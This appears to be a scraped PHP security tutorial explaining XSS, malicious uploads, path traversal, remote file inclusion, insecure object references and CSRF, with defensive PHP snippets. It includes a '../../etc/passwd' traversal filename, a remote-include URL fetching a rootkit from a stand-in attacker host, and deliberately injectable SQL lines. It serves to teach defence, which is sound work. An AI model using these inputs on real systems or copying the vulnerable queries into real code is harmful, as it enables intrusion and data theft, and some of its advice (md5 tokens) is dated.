Vous êtes sur la page 1sur 5

Securing PHP applications Part I – Securing PHP code

There are a lot of books treating this issue. So, why another post about this subject. Well,
here a try to cover this problem in a short way so that you don’t have to read hundreds of
pages or to search all over the Internet for this.

These being said, you must know that securing a PHP application is not an easy process,
as you may think and involves a lot of other things, not just your code.

The things you must take care when trying to secure a PHP application are:
1. Forms
2. URLs
3. Databases and SQL
4. Sessions and Cookies
5. Files and Includes (including file uploads)
6. Commands
7. Authentication and Authorization
8. Shared hosting

So, we are talking about securing our PHP code, about securing PHP on the server and
about securing Apache and MySQL.

Because the discussion about securing PHP code is a little bit longer, I’ve divided it into
two parts, the third is about securing Apache and MySQL.

Let’ s start with the PHP code. Here, the attack/attacks could be:
1. Cross- site scripting (XSS)
What is it?
This type of attack is one of the most common and known attacks and reflects a special
case of code injection. Is the result of sending unchecked, user- supplied data to a
browser. For example, a malicious user can create an account with this username,
claudia_helen
and every time someone clicks this username he will be redirected to this page, where the
evil user will get his/her sessionID and use it for his malicious purpose.

Also, your site design might be attacked if a user inserts a HTML portion like this one:

</div>

or

</table>

(closing a container before time) depending on your page HTML.


You have to know that are two types of XSS attacks:
- reflected or non- persistent
- stored or persistent

The reflected XSS attack is the most common type of attack and the easiest for the
malicious user, which places a link in a banner or a search result from a search engines
and makes the user clicks it. This way he can deliver a virus or a malformed cookie.

The stored XSS attack is the scary one because of its devastating results. This is the case
for the example presented above.

How should I protect my application from it?


There are several methods to fight against this attack:
1. establish a pattern for the user input, for example username should have only
characters and number between 0 and 9
2. use strip_tags when inserting user input into database for cleaning the code of tags like
the one above (see http://www.php.net/manual/en/function.strip-tags.php for more
details)
3. use htmlspecialchars() when output user input, which converts all applicable HTML
characters to entities (see http://www.php.net/manual/en/function.htmlspecialchars.php
for more details)

In other words, filter user input.

2. Malicious file execution, file uploads and filename


OBS: If your application doesn’t need to use the uploading process, is safer to disable the
file_uploads directive in php.ini.

What is it?
This attack consists of uploading malicious files. For example, assume that you have an
application which allows users to upload photos and videos. A malicious user can upload
a photo containing some malicious code or even a virus that will read all your files from
the server or a user can send a bad name for a filename, like this “../../etc/passwd”.

How should I protect my application from it?


The solution for the second example is relatively simple: you must validate the filename
and then to concatenate the filename with a valid directory for upload (a directory where
you intend to allow users to upload – is best to place this directory outside the root and
don’t forget to give it the proper permissions).
For the first example you have to do a lot more:
- test the file type (MIME type – for this you must install a PECL extension called
“fileinfo”, see http://php.net/manual/en/install.pecl.php for details; this is absolutely
necessary because you can NOT trust the user input and the name of the file from the
$_FILES super global array is generated by the user)
- test to see if the file is really uploaded, with is_uploaded_file() function
- by default the file is uploaded to tmp directory, so you have to move it to a proper
directory; you will do this using the move_uploaded_file() function

Here I have to remind you about another problem concerning files: remote filesystem
access. For example you may want to read a file this way:
file_get_contents(“http://www.site.com/rss.xml”). Ok, but if someone hacks your
application and instead of a rss file he puts somethong like this:
file_get_contents(“http://www.site.com/index.php?file=http://hackers.org/rootkit.exe”).
The solution for that is to disable allow_url_fopen from php.ini, in other words to disable
the capability to access remote files. If you really need this directive enabled you have to
separate the process intro two distinct tasks, rather than accessing them directly:
- retrieve data
- process data

and for each of the above tasks you can create an API (a function to filter and validate the
URL/filename and the content from that URL) to handle it.

OBS: 1. Another thing you should do is to set the upload_max_filesize and


post_max_size directives in php.ini to some reasonable values.
2. If coding using a framework, you can use the framework’s build-in library for uploads.
For example, if using CodeIgniter you may use the File Uploading Class (more info here,
http://codeigniter.com/user_guide/libraries/file_uploading.html ). If using
ZendFramework you may use the Zend_File Class (more info here,
http://framework.zend.com/manual/en/zend.file.html ) which provides some of the
security checks needed.

Another thing to take care is when using the exec() command with user input, for
example. That user input must be filtered and validated to protected the server from
command injections. In this case you can use escapeshellcmd() or escapeshellarg(),
depending on the context.

3. Insecure direct object reference or simpler, semantic URL attacks


What is it?
This is an attack launched just from the URL. How is that possible? Very simple. You
have probably seen a lot of URLs like this: http:///www.example.com/index.php?
orderId=10 or http:///www.example.com/view_order/orderId=10 .
In the application, you may have an SQL query like this one:

$sql = “SELECT *
FROM `orders`
WHERE id={$_GET[‘orderId’]}”;

or

$sql = “DELETE
FROM `orders`
WHERE id={$_GET[‘orderId’]}”;
How should I protect my application from it?
Well, here is relatively easy to prevent this things from happening. The method I use is
for example to add a userId verification before query the database for order information.
The solution for this type of attack is very connected with the context, but in this cases
you have to remember to distinguish proper user information like order, account
information, etc.

4. Cross- site request forgeries (CSRF)


What is it?
CSRF is a type of attack that allows the attacker to send arbitrary HTTP requests from the
victim. Attention, I said the VICTIM. So, in this case you can not detect the attacker.
For example, an attacker can observe the mechanism through which a user buys himself
something from an online shop and sees that the order is processed from a URL like this
one: http://www.example.com/buy.php?itemId=1&quantity=34 .
Backward, the developer used an $_REQUEST variable to get user’s order and this is
fatale because the attacker can buy every item and in what ever quantity he wants.
Actually he can place this link in a src attribute of an image that loads every time a page
is visited.

How should I protect my application from it?


Well, in this type of attacks the first thing you should do is to use $_POST instead of
$_REQUEST, validate the user and use a token validation system to force the user to use
your own forms. Maybe you ask yourself what is the deal with this token system, so I
give you an example:

<?php
//you have to generate the token and put it in session
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p> Item:
<select name="item">
<option value="1">Lipstick</option>
<option value="2">Mirror</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>

Then, you have to check the token from $_POST and compare it with the one from
session:

<?php
if (isset($_SESSION['token']) && $_POST['token'] ==
$_SESSION['token']){
/* Valid Token */
}
?>

Vous aimerez peut-être aussi